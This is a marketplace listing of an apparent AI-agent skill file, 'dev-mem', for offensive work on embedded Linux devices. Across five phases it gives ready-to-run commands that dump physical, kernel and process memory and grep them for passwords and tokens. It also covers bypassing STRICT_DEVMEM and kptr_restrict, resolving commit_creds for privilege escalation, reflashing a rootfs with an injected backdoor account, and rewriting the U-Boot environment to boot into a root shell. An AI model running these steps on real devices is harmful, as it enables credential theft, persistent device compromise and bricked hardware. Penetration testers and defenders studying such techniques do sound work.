Skip to main content

dev-mem

Runtime memory access and manipulation on embedded Linux via /dev/mem, /dev/kmem, and MTD devices. Covers physical memory reads/writes, kernel symbol resolution via /proc/kallsyms, live firmware patching with mtd_debug and flashcp, and bypassing memory-access restrictions (CONFIG_STRICT_DEVMEM, kernel.perf_event_paranoid).

Jump to install

Source facts

Repository
BitterSecurity/Decepticon
Last source activity
May 30, 2026 at 11:59
Detected SKILL.md language
English
Stars
5,565
Forks
1,053

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
dev-mem
description
Runtime memory access and manipulation on embedded Linux via /dev/mem, /dev/kmem, and MTD devices. Covers physical memory reads/writes, kernel symbol resolution via /proc/kallsyms, live firmware patching with mtd_debug and flashcp, and bypassing memory-access restrictions (CONFIG_STRICT_DEVMEM, kernel.perf_event_paranoid).
allowed-tools
Bash Read Write
metadata
{"subdomain":"iot","when_to_use":"/dev/mem, /dev/kmem, MTD write, mtd_debug, flashcp, memory patch, runtime patch, kernel memory, /proc/kallsyms, devmem2, embedded memory access, live firmware patch","tags":"iot, devmem, kmem, mtd, flashcp, memory-patching, kallsyms, embedded-linux, runtime, kernel","mitre_attack":"T1601.001, T1601.002, T1068, T1543"}
# /dev/mem, /dev/kmem, and MTD Runtime Patching > On embedded Linux, physical memory and raw flash are often accessible > as character devices. Combined with /proc/kallsyms for kernel symbol > resolution, these interfaces allow runtime rootkit injection, credential > extraction, and live firmware modification without touching the filesystem. ## Prerequisites - Shell access on the target (obtained via UART/SSH/telnet or post-exploitation). - Target runs Linux (confirms with `uname -a`). - Check access: `ls -la /dev/mem /dev/kmem /dev/mtd*`. - Tools: `devmem2` (or `/dev/mem` via dd), `mtd_debug`, `flashcp`, `busybox devmem`. ```bash # Confirm device nodes exist ls -la /dev/mem /dev/kmem /dev/mtd* 2>/dev/null # Confirm kernel version and MTD subsystem uname -a cat /proc/mtd ``` --- ## Phase 1 — Physical Memory Read via /dev/mem ### 1a. devmem2 (most common embedded tool) ```bash # Read 4-byte word at physical address 0x10000000 devmem2 0x10000000 w # Read byte at address devmem2 0x10000000 b # Write 4-byte word (use carefully — can crash SoC peripherals) devmem2 0x10000000 w 0xDEADBEEF # BusyBox devmem (same syntax on BusyBox builds) busybox devmem 0x10000000 32 ``` ### 1b. dd + /dev/mem ```bash # Dump 4KB region of physical RAM starting at 0x80000000 (DRAM base on many MIPS/ARM) dd if=/dev/mem bs=1024 skip=$((0x80000000 / 1024)) count=4 > /tmp/mem_region.bin # Read peripheral register (e.g., GPIO base on BCM2835 = 0x3F200000) dd if=/dev/mem bs=4 skip=$((0x3F200034 / 4)) count=1 2>/dev/null | xxd # Search physical RAM for a string (e.g., password, key material) strings /dev/mem 2>/dev/null | grep -iE 'password|secret|key|token' | head -20 # Dump first 32MB of DRAM to exfil dd if=/dev/mem bs=1M count=32 of=/tmp/memdump_32m.bin ``` ### 1c. Bypass CONFIG_STRICT_DEVMEM Kernels with `CONFIG_STRICT_DEVMEM=y` block non-MMIO physical addresses. ```bash # Check if restriction is active dmesg 2>/dev/null | grep -i "devmem\|mem: Checking" # Bypass A: MMIO regions are always permitted — map peripheral registers # GPIO, UART, timers are MMIO and bypass STRICT_DEVMEM checks. # Bypass B: Use /proc/kcore (virtual kernel memory, may still be available) dd if=/proc/kcore bs=1M count=8 of=/tmp/kcore_partial.bin 2>/dev/null # Bypass C: Kernel module injection via /dev/kmem (see Phase 2) # Bypass D: mmap /proc/<pid>/mem of a privileged process # (works when CAP_SYS_PTRACE is available) cat /proc/1/maps | grep heap dd if=/proc/1/mem bs=1 skip=$((heap_start)) count=4096 of=/tmp/init_heap.bin 2>/dev/null ``` --- ## Phase 2 — Kernel Memory via /dev/kmem `/dev/kmem` exposes virtual kernel address space. Available on older kernels (pre-3.7) or when compiled without `CONFIG_DEVKMEM=n`. ```bash # Check kernel virtual addresses from kallsyms # (available when CONFIG_KALLSYMS=y, common on embedded devices for crash debugging) cat /proc/kallsyms | grep -E ' sys_call_table| commit_creds| prepare_kernel_cred' # Example: ffffffff81801460 R sys_call_table # Read kernel symbol value via /dev/kmem SYM_ADDR=0xffffffff81801460 dd if=/dev/kmem bs=8 skip=$(( SYM_ADDR / 8 )) count=1 2>/dev/null | xxd # Patch a kernel variable (e.g., set uid to 0 for current process) # WARNING: wrong address = immediate kernel panic # Use devmem2 with the virtual address: devmem2 $SYM_ADDR q # quad-word read (64-bit) ``` ### 2a. Extract kernel credentials from /proc/kcore ```bash # /proc/kcore is ELF-formatted kernel memory snapshot # Use volatility3 with a Linux profile if available: vol -f /proc/kcore linux.bash.Bash # recover bash history from kernel vol -f /proc/kcore linux.pslist.PsList # Manual: search for credential structures strings /proc/kcore 2>/dev/null | grep -E 'root|password|shadow' | head -20 ``` --- ## Phase 3 — MTD Raw Flash Access MTD (Memory Technology Devices) exposes raw NOR/NAND flash. On embedded Linux, `/dev/mtd*` (char) and `/dev/mtdblock*` (block) devices are the primary paths for read/write access to firmware partitions. ### 3a. Partition enumeration ```bash # List all MTD partitions with sizes and names cat /proc/mtd # Example output: # dev: size erasesize name # mtd0: 00040000 00010000 "u-boot" # mtd1: 00010000 00010000 "u-boot-env" # mtd2: 00200000 00010000 "kernel" # mtd3: 00600000 00010000 "rootfs" # mtd4: 00200000 00010000 "storage" ``` ### 3b. Dump MTD partition ```bash # Method A: dd from block device dd if=/dev/mtdblock3 of=/tmp/rootfs.bin bs=512 # Method B: mtd_debug read (preferred — handles bad blocks on NAND) mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_debug.bin # Method C: nanddump (NAND-aware, includes OOB handling) nanddump --noecc --omitoob /dev/mtd3 -f /tmp/rootfs_nand.bin ``` ### 3c. Write (patch) an MTD partition ```bash # DANGER: Writing to wrong partition bricks the device. # Always verify partition map and backup before writing. # Step 1: Backup the partition to be patched mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_backup.bin sha256sum /tmp/rootfs_backup.bin > /tmp/rootfs_backup.bin.sha256 # Step 2: Modify the backup (e.g., inject backdoor account into /etc/passwd) # Mount squashfs, modify, repack, place in /tmp/rootfs_patched.bin # Step 3: Erase the MTD partition (REQUIRED before write on NOR flash) flash_erase /dev/mtd3 0 0 # erase entire partition # Or with mtd_debug: mtd_debug erase /dev/mtd3 0 $((0x600000)) # Step 4: Write patched image flashcp -v /tmp/rootfs_patched.bin /dev/mtd3 # Or mtd_debug write: mtd_debug write /dev/mtd3 0 $((0x600000)) /tmp/rootfs_patched.bin # Step 5: Verify write mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_verify.bin diff /tmp/rootfs_patched.bin /tmp/rootfs_verify.bin && echo "WRITE OK" || echo "MISMATCH" ``` ### 3d. U-Boot environment modification via MTD ```bash # U-Boot env is typically in mtd1 (check /proc/mtd for "u-boot-env") UBOOT_ENV_MTD=/dev/mtd1 # Dump current env dd if=/dev/mtdblock1 of=/tmp/uboot_env.bin # Decode: first 4 bytes = CRC32, then null-delimited key=value pairs python3 -c " import struct, zlib data = open('/tmp/uboot_env.bin','rb').read() crc_stored = struct.unpack('<I', data[:4])[0] crc_calc = zlib.crc32(data[4:]) & 0xFFFFFFFF print(f'CRC stored: {crc_stored:#010x}, calc: {crc_calc:#010x}') env = data[4:].split(b'\\x00') for e in env: if e: print(e.decode(errors='replace')) " # Modify env and rewrite with correct CRC python3 << 'EOF' import struct, zlib env_vars = { "bootargs": "root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 init=/bin/sh", "bootcmd": "run bootlinux", # add more vars as needed } # Build null-delimited env block (standard U-Boot env size = 64KB) ENV_SIZE = 0x10000 payload = b"" for k, v in env_vars.items(): payload += f"{k}={v}\x00".encode() payload += b"\x00" payload = payload.ljust(ENV_SIZE - 4, b"\xff") crc = struct.pack("<I", zlib.crc32(payload) & 0xFFFFFFFF) with open("/tmp/uboot_env_patched.bin", "wb") as f: f.write(crc + payload) print("Patched env written") EOF # Flash patched env flash_erase /dev/mtd1 0 0 flashcp /tmp/uboot_env_patched.bin /dev/mtd1 ``` --- ## Phase 4 — Live Process Memory Access ```bash # List running processes with memory maps cat /proc/1/maps # init/systemd # Identify heap/stack regions # Read from process memory (requires same UID or root) # Read 256 bytes at heap start of PID 1234 HEAP_START=0x00400000 # from /proc/1234/maps dd if=/proc/1234/mem bs=1 skip=$HEAP_START count=256 of=/tmp/pid_mem.bin 2>/dev/null # Search for credentials in web server process memory (lighttpd / httpd) WEB_PID=$(pgrep lighttpd || pgrep httpd || pgrep uhttpd) strings /proc/$WEB_PID/mem 2>/dev/null | grep -iE 'password|session|token' | head -20 # GDB (if available) — attach to running process gdb -p $WEB_PID -batch -ex "x/512s 0x$(grep heap /proc/$WEB_PID/maps | head -1 | cut -d- -f1)" \ 2>/dev/null | grep -iE 'password|secret|key' ``` --- ## Phase 5 — /proc/kallsyms Exploitation ```bash # Read symbol table (requires root or kernel.kptr_restrict=0) cat /proc/kallsyms | grep -E 'sys_call_table|commit_creds|prepare_kernel_cred|selinux' # Check kptr_restrict setting cat /proc/sys/kernel/kptr_restrict # 0 = all addresses visible, 1 = visible to root, 2 = hidden always # Lower restriction (if writable — common on IoT with permissive sysctl) echo 0 > /proc/sys/kernel/kptr_restrict # Use symbol addresses for kernel exploit primitives # commit_creds(prepare_kernel_cred(0)) pattern for local priv-esc # (pass to kernel module or mmap-based shellcode) ``` --- ## Evidence ```bash EVDIR=/workspace/evidence/iot/<target>/devmem mkdir -p "$EVDIR" cp /tmp/memdump_32m.bin "$EVDIR/" 2>/dev/null cp /tmp/rootfs_backup.bin "$EVDIR/" 2>/dev/null sha256sum "$EVDIR"/*.bin > "$EVDIR/checksums.sha256" echo "MTD partition map:" >> "$EVDIR/notes.txt" cat /proc/mtd >> "$EVDIR/notes.txt" echo "kallsyms sys_call_table:" >> "$EVDIR/notes.txt" cat /proc/kallsyms | grep sys_call_table >> "$EVDIR/notes.txt" ``` ## OPSEC Notes - MTD erase+write operations are irreversible if the backup is lost. Keep the backup in `/workspace/evidence/` before any write operation. - Writing wrong data to the U-Boot partition at offset 0x0 bricks the device with no software recovery path. Triple-check partition map from `/proc/mtd` before writing. - `/dev/mem` reads of active MMIO registers (UART, SPI, GPIO) can interfere with peripheral operation and may trigger watchdog resets. - On hardened devices (CONFIG_STRICT_DEVMEM, kernel.dmesg_restrict), memory access may generate audit log entries visible to the vendor's telemetry pipeline. - MTD writes generate wear on flash cells; each erase cycle degrades the chip. Limit writes to the minimum needed; document all writes for device-return procedures. ## References - mtd-utils documentation: `https://github.com/sigma-star/mtd-utils` - Linux MTD subsystem: `https://www.linux-mtd.infradead.org/doc/general.html` - devmem2 tool: `https://github.com/VCTLabs/devmem2` - Kernel exploitation via /dev/mem: `references/devmem-kernel-exploit.md` - U-Boot env format: `https://u-boot.readthedocs.io/en/latest/usage/environment.html`
View on GitHub